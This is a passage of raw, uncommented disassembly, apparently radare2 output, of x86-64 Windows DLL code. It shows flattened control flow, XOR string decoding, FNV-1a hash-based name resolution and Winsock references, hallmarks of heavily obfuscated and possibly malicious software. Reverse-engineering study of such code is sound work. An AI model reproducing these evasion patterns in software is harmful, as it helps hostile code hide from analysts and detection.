cmp ebx, 0xf66297dd
jne 0x18002f350
mov byte [rbp + 0xe0], dl
mov ebx, 0x831e9691
jmp 0x18002f350
mov cl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], cl
mov ebx, 0x7ee59bc8
jmp 0x18002f320
mov cl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe8]
xor bl, cl
mov byte [rdx + 3], bl
mov bl, byte [rax]
mov edi, 0x158cd83e
nop dword [rax + rax]
cmp edi, 0x7ee59bc8
je 0x18002f421
cmp edi, 0x158cd83e
jne 0x18002f3a0
mov dword [rbp + 0xe8], WSAStartup
mov edi, 0xf66297dd
nop
cmp edi, 0x831e9691
je 0x18002f3dd
cmp edi, 0xf66297dd
jne 0x18002f3c0
mov byte [rbp + 0xe0], bl
mov edi, 0x831e9691
jmp 0x18002f3c0
mov cl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], cl
mov edi, 0x7ee59bc8
jmp 0x18002f3a0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe8]
xor dl, cl
mov byte [rsi + 3], dl
add rsi, 4
mov rcx, qword [rbp + 0xf0]
add rcx, 0x14
mov qword [rbp + 0x198], rcx
mov edx, 0x571e2217
jmp 0x18002efb0
mov cl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe8]
xor bl, cl
mov byte [rdx + 4], bl
mov bl, byte [rax]
mov edi, 0x158cd83e
nop dword [rax]
cmp edi, 0x7ee59bc8
je 0x18002f490
cmp edi, 0x158cd83e
jne 0x18002f440
mov dword [rbp + 0xe8], 0x65
mov edi, 0xf66297dd
nop
cmp edi, 0x831e9691
je 0x18002f47d
cmp edi, 0xf66297dd
jne 0x18002f460
mov byte [rbp + 0xe0], bl
mov edi, 0x831e9691
jmp 0x18002f460
mov cl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], cl
mov edi, 0x7ee59bc8
jmp 0x18002f440
mov cl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe8]
xor bl, cl
mov byte [rdx + 5], bl
mov bl, byte [rax]
mov edi, 0x158cd83e
nop dword [rax + rax]
cmp edi, 0x7ee59bc8
je 0x18002f500
cmp edi, 0x158cd83e
jne 0x18002f4b0
mov dword [rbp + 0xe8], 0x4e
mov edi, 0xf66297dd
nop
cmp edi, 0x831e9691
je 0x18002f4ed
cmp edi, 0xf66297dd
jne 0x18002f4d0
mov byte [rbp + 0xe0], bl
mov edi, 0x831e9691
jmp 0x18002f4d0
mov cl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], cl
mov edi, 0x7ee59bc8
jmp 0x18002f4b0
mov cl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe8]
xor bl, cl
mov byte [rdx + 6], bl
add rdx, 7
mov qword [rbp + 0x108], rdx
mov byte [rbp + 0x114], 0x61
mov edx, 0xea28a2dc
jmp 0x18002efb0
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x108]
xor bl, dl
mov byte [rcx + 2], bl
mov edx, 0xecddb854
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x63138cef
je 0x18002f9da
cmp edx, 0xecddb854
jne 0x18002f550
mov dword [rbp + 0x108], 0x67
mov edx, 0x5e7cf390
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9534912d
je 0x18002f59e
cmp edx, 0x5e7cf390
jne 0x18002f580
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002f580
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0xf8], dl
mov edx, 0x63138cef
jmp 0x18002f550
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x830fc09d
je 0x18002fa64
cmp ecx, 0x6aac2ef1
jne 0x18002f5f0
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x18002f5f0
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call fcn.180031390
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x20
mov edi, 0x9304b30f
jmp 0x18002f670
movsxd rbx, r8d
xor rbx, qword [rbp + 0x198]
imul rbx, r9
mov esi, dword [rbp + 0xf0]
add esi, 1
mov edi, 0xc46bd60d
nop dword [rax]
cmp edi, 0xec989664
jle 0x18002f6d0
cmp edi, 0xde9741a
jle 0x18002f720
cmp edi, 0x4040a63f
jg 0x18002f7a9
cmp edi, 0xde9741b
je 0x18002f872
cmp edi, 0x23777f42
je 0x18002f889
cmp edi, 0x34fd6d6d
jne 0x18002f670
cmp byte [rbp + 0xd4], 0
mov edi, 0xa8588bcc
cmovne edi, r13d
jmp 0x18002f670
cmp edi, 0xb3b07733
jle 0x18002f760
cmp edi, 0xc86312b3
jle 0x18002f7dd
cmp edi, 0xc86312b4
je 0x18002f651
cmp edi, 0xcaf004ba
je 0x18002f893
cmp edi, 0xdf0d33c4
jne 0x18002f670
mov edi, 0xc46bd60d
xor esi, esi
mov rbx, r14
jmp 0x18002f670
cmp edi, 0xfa416f8f
jle 0x18002f81e
cmp edi, 0xfa416f90
je 0x18002f8c0
cmp edi, 0x45d558a
je 0x18002f8d1
cmp edi, 0xc942d64
jne 0x18002f670
mov edi, 0xcaf004ba
xor edx, edx
jmp 0x18002f670
cmp edi, 0xa8588bcb
jle 0x18002f850
cmp edi, 0xa8588bcc
je 0x18002f8eb
cmp edi, 0xa94a57ae
je 0x18002f8fc
cmp edi, 0xb18d2356
jne 0x18002f670
mov ecx, dword [rbp + 0x100]
or ecx, 0x20
mov dword [rbp + 0xe0], ecx
mov edi, 0xfa416f90
jmp 0x18002f670
cmp edi, 0x4040a640
je 0x18002f906
cmp edi, 0x494b1080
je 0x18002f910
cmp edi, 0x6238ad6b
jne 0x18002f670
mov edi, 0xcaf004ba
mov edx, dword [rbp + 0x114]
jmp 0x18002f670
cmp edi, 0xb3b07734
je 0x18002f925
cmp edi, 0xc46bd60d
jne 0x18002f980
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x198], rbx
mov edi, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xf0]
cmp ecx, edi
mov edi, 0xc5d9b945
cmovb edi, r11d
jmp 0x18002f670
cmp edi, 0xec989665
je 0x18002f94c
cmp edi, 0xed3b0916
jne 0x18002f670
mov ecx, dword [rbp + 0x100]
cmp ecx, 0x5b
setl byte [rbp + 0xd4]
mov edi, 0x34fd6d6d
jmp 0x18002f670
cmp edi, 0x8051c795
je 0x18002f965
cmp edi, 0x9304b30f
jne 0x18002f670
mov edi, 0xc942d64
jmp 0x18002f670
mov ecx, dword [rbp + 0xf0]
mov qword [rbp + 0xf8], rcx
mov edi, 0x8051c795
jmp 0x18002f670
mov edi, 0xdf0d33c4
jmp 0x18002f670
mov dword [rbp + 0xe8], edx
mov edi, dword [rbp + 0xe8]
movsx edi, byte [rax + rdi]
mov dword [rbp + 0xd8], edi
mov edi, dword [rbp + 0xd8]
cmp edi, 0x1f
mov edi, 0xa94a57ae
cmovg edi, r12d
jmp 0x18002f670
mov edi, 0xc86312b4
mov r8d, dword [rbp + 0xe0]
jmp 0x18002f670
mov edi, dword [rbp + 0xd8]
cmp edi, 0x7f
setl byte [rbp + 0xdf]
mov edi, 0x494b1080
jmp 0x18002f670
mov edi, 0xc86312b4
mov r8d, dword [rbp + 0x100]
jmp 0x18002f670
mov edi, 0x23777f42
jmp 0x18002f670
mov edi, 0x6238ad6b
jmp 0x18002f670
cmp byte [rbp + 0xdf], 0
mov edi, 0xa94a57ae
cmovne edi, r15d
jmp 0x18002f670
mov rcx, qword [rbp + 0x108]
movsx ecx, byte [rcx]
mov dword [rbp + 0x100], ecx
mov ecx, dword [rbp + 0x100]
cmp ecx, 0x40
mov edi, 0xa8588bcc
cmovg edi, r10d
jmp 0x18002f670
mov edi, dword [rbp + 0xe8]
add edi, 1
mov dword [rbp + 0x114], edi
mov edi, 0x4040a640
jmp 0x18002f670
mov rcx, qword [rbp + 0xf8]
add rcx, rax
mov qword [rbp + 0x108], rcx
mov edi, 0xb3b07734
jmp 0x18002f670
cmp edi, 0xc5d9b945
jne 0x18002f670
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
call fcn.1800ae820
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x20
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x220]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0x38]
mov rax, qword [rax]
mov qword [rbp - 0x58], rax
mov eax, 0x7384abce
jmp 0x180026510
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x108]
xor bl, dl
mov byte [rcx + 3], bl
add rcx, 4
mov qword [rbp + 0xf0], rcx
mov ecx, 0xecddb854
nop dword [rax + rax]
cmp ecx, 0x63138cef
je 0x18002faa5
cmp ecx, 0xecddb854
jne 0x18002fa00
mov dword [rbp + 0x108], 0x53
mov ecx, 0x5e7cf390
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9534912d
je 0x18002fa4e
cmp ecx, 0x5e7cf390
jne 0x18002fa30
mov qword [rbp + 0x198], rax
mov ecx, 0x9534912d
jmp 0x18002fa30
mov rcx, qword [rbp + 0x198]
mov cl, byte [rcx]
mov byte [rbp + 0xf8], cl
mov ecx, 0x63138cef
jmp 0x18002fa00
mov cl, byte [rbp + 0xf8]
mov byte [rax + 1], cl
mov dword [rbp + 0xf0], reloc.WS2_32.dll_WSAStartup
mov ecx, 0xb99354bc
nop dword [rax]
cmp ecx, 0xa1518875
je 0x18002ffd5
cmp ecx, 0xb99354bc
jne 0x18002fa80
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x18002fa80
mov cl, byte [rbp + 0xf8]
mov edx, dword [rbp + 0x108]
xor dl, cl
mov rcx, qword [rbp + 0xf0]
mov byte [rcx], dl
mov edx, 0xd783bcce
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd783bccd
jg 0x18002fb10
cmp edx, 0xacd38f7c
je 0x18002fb94
cmp edx, 0xcf3699ad
jne 0x18002fad0
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x108]
mov edx, 0xcf3699ad
mov ebx, 0x1abefc64
cmove edx, ebx
jmp 0x18002fad0
cmp edx, 0x1abefc64
je 0x180030040
cmp edx, 0xd783bcce
jne 0x18002fad0
mov rdx, qword [rbp + 0xf0]
mov ebx, 0xecddb854
cmp ebx, 0x63138cef
je 0x18002fbf4
cmp ebx, 0xecddb854
jne 0x18002fb30
mov dword [rbp + 0xe0], 0x65
mov ebx, 0x5e7cf390
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x9534912d
je 0x18002fb7e
cmp ebx, 0x5e7cf390
jne 0x18002fb60
mov qword [rbp + 0x198], rax
mov ebx, 0x9534912d
jmp 0x18002fb60
mov rbx, qword [rbp + 0x198]
mov bl, byte [rbx]
mov byte [rbp + 0x100], bl
mov ebx, 0x63138cef
jmp 0x18002fb30
mov ecx, 0xecddb854
nop dword [rax]
cmp ecx, 0x63138cef
je 0x18002fc1c
cmp ecx, 0xecddb854
jne 0x18002fba0
mov dword [rbp + 0xe0], 0x74
mov ecx, 0x5e7cf390
nop
cmp ecx, 0x9534912d
je 0x18002fbde
cmp ecx, 0x5e7cf390
jne 0x18002fbc0
mov qword [rbp + 0x198], rax
mov ecx, 0x9534912d
jmp 0x18002fbc0
mov rcx, qword [rbp + 0x198]
mov cl, byte [rcx]
mov byte [rbp + 0x100], cl
mov ecx, 0x63138cef
jmp 0x18002fba0
mov bl, byte [rbp + 0x100]
mov edi, dword [rbp + 0xe0]
xor dil, bl
mov byte [rdx + 1], dil
add rdx, 2
mov qword [rbp + 0xf8], rdx
mov edx, 0xacd38f7c
jmp 0x18002fad0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
xor dl, cl
mov rcx, qword [rbp + 0xf8]
mov byte [rcx], dl
mov rcx, qword [rbp + 0xf8]
mov edx, 0xecddb854
nop
cmp edx, 0x63138cef
je 0x18002fc94
cmp edx, 0xecddb854
jne 0x18002fc40
mov dword [rbp + 0xe0], 0x56
mov edx, 0x5e7cf390
nop
cmp edx, 0x9534912d
je 0x18002fc7e
cmp edx, 0x5e7cf390
jne 0x18002fc60
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002fc60
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0x100], dl
mov edx, 0x63138cef
jmp 0x18002fc40
mov dl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe0]
xor bl, dl
mov byte [rcx + 1], bl
mov edx, 0xecddb854
nop word [rax + rax]
cmp edx, 0x63138cef
je 0x18002fd04
cmp edx, 0xecddb854
jne 0x18002fcb0
mov dword [rbp + 0xe0], 0x61
mov edx, 0x5e7cf390
nop
cmp edx, 0x9534912d
je 0x18002fcee
cmp edx, 0x5e7cf390
jne 0x18002fcd0
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002fcd0
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0x100], dl
mov edx, 0x63138cef
jmp 0x18002fcb0
mov dl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe0]
xor bl, dl
mov byte [rcx + 2], bl
mov edx, 0xecddb854
nop word [rax + rax]
cmp edx, 0x63138cef
je 0x18002fd74
cmp edx, 0xecddb854
jne 0x18002fd20
mov dword [rbp + 0xe0], WSAStartup
mov edx, 0x5e7cf390
nop
cmp edx, 0x9534912d
je 0x18002fd5e
cmp edx, 0x5e7cf390
jne 0x18002fd40
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002fd40
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0x100], dl
mov edx, 0x63138cef
jmp 0x18002fd20
mov dl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe0]
xor bl, dl
mov byte [rcx + 3], bl
mov edx, 0xecddb854
nop word [rax + rax]
cmp edx, 0x63138cef
je 0x18002fde4
cmp edx, 0xecddb854
jne 0x18002fd90
mov dword [rbp + 0xe0], 0x75
mov edx, 0x5e7cf390
nop
cmp edx, 0x9534912d
je 0x18002fdce
cmp edx, 0x5e7cf390
jne 0x18002fdb0
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002fdb0
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0x100], dl
mov edx, 0x63138cef
jmp 0x18002fd90
mov dl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe0]
xor bl, dl
mov byte [rcx + 4], bl
mov edx, 0xecddb854
nop word [rax + rax]
cmp edx, 0x63138cef
je 0x18002fe54
cmp edx, 0xecddb854
jne 0x18002fe00
mov dword [rbp + 0xe0], 0x65
mov edx, 0x5e7cf390
nop
cmp edx, 0x9534912d
je 0x18002fe3e
cmp edx, 0x5e7cf390
jne 0x18002fe20
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002fe20
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0x100], dl
mov edx, 0x63138cef
jmp 0x18002fe00
mov dl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe0]
xor bl, dl
mov byte [rcx + 5], bl
mov edx, 0xecddb854
nop word [rax + rax]
cmp edx, 0x63138cef
je 0x18002fec4
cmp edx, 0xecddb854
jne 0x18002fe70
mov dword [rbp + 0xe0], 0x45
mov edx, 0x5e7cf390
nop
cmp edx, 0x9534912d
je 0x18002feae
cmp edx, 0x5e7cf390
jne 0x18002fe90
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002fe90
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0x100], dl
mov edx, 0x63138cef
jmp 0x18002fe70
mov dl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe0]
xor bl, dl
mov byte [rcx + 6], bl
mov edx, 0xecddb854
nop word [rax + rax]
cmp edx, 0x63138cef
je 0x18002ff34
cmp edx, 0xecddb854
jne 0x18002fee0
mov dword [rbp + 0xe0], pe_nt_image_headers64
mov edx, 0x5e7cf390
nop
cmp edx, 0x9534912d
je 0x18002ff1e
cmp edx, 0x5e7cf390
jne 0x18002ff00
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002ff00
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0x100], dl
mov edx, 0x63138cef
jmp 0x18002fee0
mov dl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe0]
xor bl, dl
mov byte [rcx + 7], bl
mov edx, 0xecddb854
nop word [rax + rax]
cmp edx, 0x63138cef
je 0x18002ffa4
cmp edx, 0xecddb854
jne 0x18002ff50
mov dword [rbp + 0xe0], 0x57
mov edx, 0x5e7cf390
nop
cmp edx, 0x9534912d
je 0x18002ff8e
cmp edx, 0x5e7cf390
jne 0x18002ff70
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002ff70
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0x100], dl
mov edx, 0x63138cef
jmp 0x18002ff50
mov dl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe0]
xor bl, dl
mov byte [rcx + 8], bl
add rcx, 9
mov rdx, qword [rbp + 0xe8]
add rdx, 0x10
mov qword [rbp + 0x108], rdx
mov edx, 0xcf3699ad
jmp 0x18002fad0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x830fc09d
je 0x180030409
cmp ecx, 0x6aac2ef1
jne 0x180030010
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x180030010
mov rcx, qword [rbp + 0x80]
sub rsp, 0x20
call fcn.180031580
add rsp, 0x20
mov edi, 0x9304b30f
movabs r9, 0x100000001b3
mov r10d, 0xed3b0916
mov r11d, 0xde9741b
jmp 0x180030090
movsxd rbx, r8d
xor rbx, qword [rbp + 0x198]
imul rbx, r9
mov esi, dword [rbp + 0xf0]
add esi, 1
mov edi, 0xc46bd60d
nop dword [rax]
cmp edi, 0xec989664
jle 0x1800300f0
cmp edi, 0xde9741a
jle 0x180030140
cmp edi, 0x4040a63f
jg 0x1800301c9
cmp edi, 0xde9741b
je 0x180030292
cmp edi, 0x23777f42
je 0x1800302a9
cmp edi, 0x34fd6d6d
jne 0x180030090
cmp byte [rbp + 0xd4], 0
mov edi, 0xa8588bcc
cmovne edi, r13d
jmp 0x180030090
cmp edi, 0xb3b07733
jle 0x180030180
cmp edi, 0xc86312b3
jle 0x1800301fd
cmp edi, 0xc86312b4
je 0x180030071
cmp edi, 0xcaf004ba
je 0x1800302b3
cmp edi, 0xdf0d33c4
jne 0x180030090
mov edi, 0xc46bd60d
xor esi, esi
mov rbx, r14
jmp 0x180030090
cmp edi, 0xfa416f8f
jle 0x18003023e
cmp edi, 0xfa416f90
je 0x1800302e0
cmp edi, 0x45d558a
je 0x1800302f1
cmp edi, 0xc942d64
jne 0x180030090
mov edi, 0xcaf004ba
xor edx, edx
jmp 0x180030090
cmp edi, 0xa8588bcb
jle 0x180030270
cmp edi, 0xa8588bcc
je 0x18003030b
cmp edi, 0xa94a57ae
je 0x18003031c
cmp edi, 0xb18d2356
jne 0x180030090
mov ecx, dword [rbp + 0x100]
or ecx, 0x20
mov dword [rbp + 0xe0], ecx
mov edi, 0xfa416f90
jmp 0x180030090
cmp edi, 0x4040a640
je 0x180030326
cmp edi, 0x494b1080
je 0x180030330
cmp edi, 0x6238ad6b
jne 0x180030090
mov edi, 0xcaf004ba
mov edx, dword [rbp + 0x114]
jmp 0x180030090
cmp edi, 0xb3b07734
je 0x180030345
cmp edi, 0xc46bd60d
jne 0x1800303a0
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x198], rbx
mov edi, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xf0]
cmp ecx, edi
mov edi, 0xc5d9b945
cmovb edi, r11d
jmp 0x180030090
cmp edi, 0xec989665
je 0x18003036c
cmp edi, 0xed3b0916
jne 0x180030090
mov ecx, dword [rbp + 0x100]
cmp ecx, 0x5b
setl byte [rbp + 0xd4]
mov edi, 0x34fd6d6d
jmp 0x180030090
cmp edi, 0x8051c795
je 0x180030385
cmp edi, 0x9304b30f
jne 0x180030090
mov edi, 0xc942d64
jmp 0x180030090
mov ecx, dword [rbp + 0xf0]
mov qword [rbp + 0xf8], rcx
mov edi, 0x8051c795
jmp 0x180030090
mov edi, 0xdf0d33c4
jmp 0x180030090
mov dword [rbp + 0xe8], edx
mov edi, dword [rbp + 0xe8]
movsx edi, byte [rax + rdi]
mov dword [rbp + 0xd8], edi
mov edi, dword [rbp + 0xd8]
cmp edi, 0x1f
mov edi, 0xa94a57ae
cmovg edi, r12d
jmp 0x180030090
mov edi, 0xc86312b4
mov r8d, dword [rbp + 0xe0]
jmp 0x180030090
mov edi, dword [rbp + 0xd8]
cmp edi, 0x7f
setl byte [rbp + 0xdf]
mov edi, 0x494b1080
jmp 0x180030090
mov edi, 0xc86312b4
mov r8d, dword [rbp + 0x100]
jmp 0x180030090
mov edi, 0x23777f42
jmp 0x180030090
mov edi, 0x6238ad6b
jmp 0x180030090
cmp byte [rbp + 0xdf], 0
mov edi, 0xa94a57ae
cmovne edi, r15d
jmp 0x180030090
mov rcx, qword [rbp + 0x108]
movsx ecx, byte [rcx]
mov dword [rbp + 0x100], ecx
mov ecx, dword [rbp + 0x100]
cmp ecx, 0x40
mov edi, 0xa8588bcc
cmovg edi, r10d
jmp 0x180030090
mov edi, dword [rbp + 0xe8]
add edi, 1
mov dword [rbp + 0x114], edi
mov edi, 0x4040a640
jmp 0x180030090
mov rcx, qword [rbp + 0xf8]
add rcx, rax
mov qword [rbp + 0x108], rcx
mov edi, 0xb3b07734
jmp 0x180030090
cmp edi, 0xc5d9b945
jne 0x180030090
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp + 0x48]
sub rsp, 0x20
call fcn.1800c7f88
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x20
add eax, eax
add eax, 2
mov dword [rbp + 0x44], eax
mov rax, qword [rbp + 0xc0]
mov eax, dword [rax]
mov dword [rbp + 0x40], eax
mov eax, 0xe82c97c1
jmp 0x180026510
mov cl, byte [rbp + 0xf8]
mov byte [rax + 2], cl
mov dword [rbp + 0xf0], reloc.WS2_32.dll_WSAStartup
mov ecx, 0xb99354bc
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xa1518875
je 0x180030451
cmp ecx, 0xb99354bc
jne 0x180030430
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x180030430
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop
cmp ecx, 0x830fc09d
je 0x1800304ac
cmp ecx, 0x6aac2ef1
jne 0x180030480
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x180030480
mov cl, byte [rbp + 0xf8]
mov byte [rax + 3], cl
mov dword [rbp + 0xf0], 0x57
mov ecx, 0xb99354bc
nop word cs:[rax + rax]
nop
cmp ecx, 0xa1518875
je 0x1800304f1
cmp ecx, 0xb99354bc
jne 0x1800304d0
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x1800304d0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop
cmp ecx, 0x830fc09d
je 0x18003054c
cmp ecx, 0x6aac2ef1
jne 0x180030520
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x180030520
mov cl, byte [rbp + 0xf8]
mov byte [rax + 4], cl
mov byte [rax + 5], 0
mov rax, qword [rbp + 0xb8]
mov edx, 0xd87faa5
jmp 0x180030580
mov edx, 0x1a1e835d
mov rcx, qword [rbp + 0x108]
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xd87faa4
jle 0x1800305b0
cmp edx, 0x4f0555e7
jle 0x1800305f0
cmp edx, 0x55ac78c1
je 0x180030567
cmp edx, 0x64607fd8
jne 0x18003072d
mov edx, 0x1a1e835d
xor ecx, ecx
jmp 0x180030580
cmp edx, 0xfe0acbcc
jg 0x180030630
cmp edx, 0xaea77755
je 0x180030660
cmp edx, 0xf06d6b09
jne 0x180030580
mov rdx, qword [rbp + 0x198]
add rdx, rax
mov qword [rbp + 0xf8], rdx
mov edx, 0xaea77755
jmp 0x180030580
cmp edx, 0xd87faa5
je 0x1800306e1
cmp edx, 0x1a1e835d
jne 0x180030580
mov qword [rbp + 0x198], rcx
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xe
mov edx, 0xfe0acbcd
cmovb edx, r8d
jmp 0x180030580
cmp edx, 0xfe0acbcd
je 0x1800306eb
cmp edx, 0x6e11d9d
jne 0x180030580
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0xf0], rdx
mov edx, 0x4f0555e8
jmp 0x180030580
mov rdx, qword [rbp + 0xf8]
movsx edx, byte [rdx]
mov ebx, 0x5b00dd00
nop
cmp ebx, 0x289d4472
je 0x1800306fc
cmp ebx, 0x5b00dd00
jne 0x180030670
mov dword [rbp + 0x114], edx
mov ebx, 0xb99354bc
nop
cmp ebx, 0xa1518875
je 0x1800306b1
cmp ebx, 0xb99354bc
jne 0x180030690
mov dword [rbp + 0xe0], 0x4b
mov ebx, 0xa1518875
jmp 0x180030690
movsxd rbx, dword [rbp + 0xe0]
imul rdi, rbx, 0x4ec4ec4f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x22
add edi, esi
lea esi, [rdi + rdi*2]
lea edi, [rdi + rsi*4]
sub ebx, edi
mov dword [rbp + 0x100], ebx
mov ebx, 0x289d4472
jmp 0x180030670
mov edx, 0x64607fd8
jmp 0x180030580
mov qword [rbp + 0xe8], rax
mov edx, 0x6e11d9d
jmp 0x180030580
mov edx, dword [rbp + 0x114]
sub edx, dword [rbp + 0x100]
mov rbx, qword [rbp + 0xf8]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x198]
add rdx, 1
mov qword [rbp + 0x108], rdx
mov edx, 0x55ac78c1
jmp 0x180030580
cmp edx, 0x4f0555e8
jne 0x180030580
mov r8, qword [rbp + 0xf0]
mov edi, 0x9304b30f
jmp 0x180030770
movsxd rsi, ecx
xor rsi, qword [rbp + 0x198]
imul rsi, r9
mov ebx, dword [rbp + 0xf0]
add ebx, 1
mov edi, 0xc46bd60d
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xec989664
jle 0x1800307d0
cmp edi, 0xde9741a
jle 0x180030820
cmp edi, 0x4040a63f
jg 0x1800308a9
cmp edi, 0xde9741b
je 0x180030972
cmp edi, 0x23777f42
je 0x180030989
cmp edi, 0x34fd6d6d
jne 0x180030770
cmp byte [rbp + 0xd4], 0
mov edi, 0xa8588bcc
cmovne edi, r13d
jmp 0x180030770
cmp edi, 0xb3b07733
jle 0x180030860
cmp edi, 0xc86312b3
jle 0x1800308dd
cmp edi, 0xc86312b4
je 0x180030747
cmp edi, 0xcaf004ba
je 0x180030993
cmp edi, 0xdf0d33c4
jne 0x180030770
mov edi, 0xc46bd60d
xor ebx, ebx
mov rsi, r14
jmp 0x180030770
cmp edi, 0xfa416f8f
jle 0x18003091e
cmp edi, 0xfa416f90
je 0x1800309c1
cmp edi, 0x45d558a
je 0x1800309d1
cmp edi, 0xc942d64
jne 0x180030770
mov edi, 0xcaf004ba
xor edx, edx
jmp 0x180030770
cmp edi, 0xa8588bcb
jle 0x180030950
cmp edi, 0xa8588bcc
je 0x1800309eb
cmp edi, 0xa94a57ae
je 0x1800309fb
cmp edi, 0xb18d2356
jne 0x180030770
mov eax, dword [rbp + 0x100]
or eax, 0x20
mov dword [rbp + 0xe0], eax
mov edi, 0xfa416f90
jmp 0x180030770
cmp edi, 0x4040a640
je 0x180030a05
cmp edi, 0x494b1080
je 0x180030a0f
cmp edi, 0x6238ad6b
jne 0x180030770
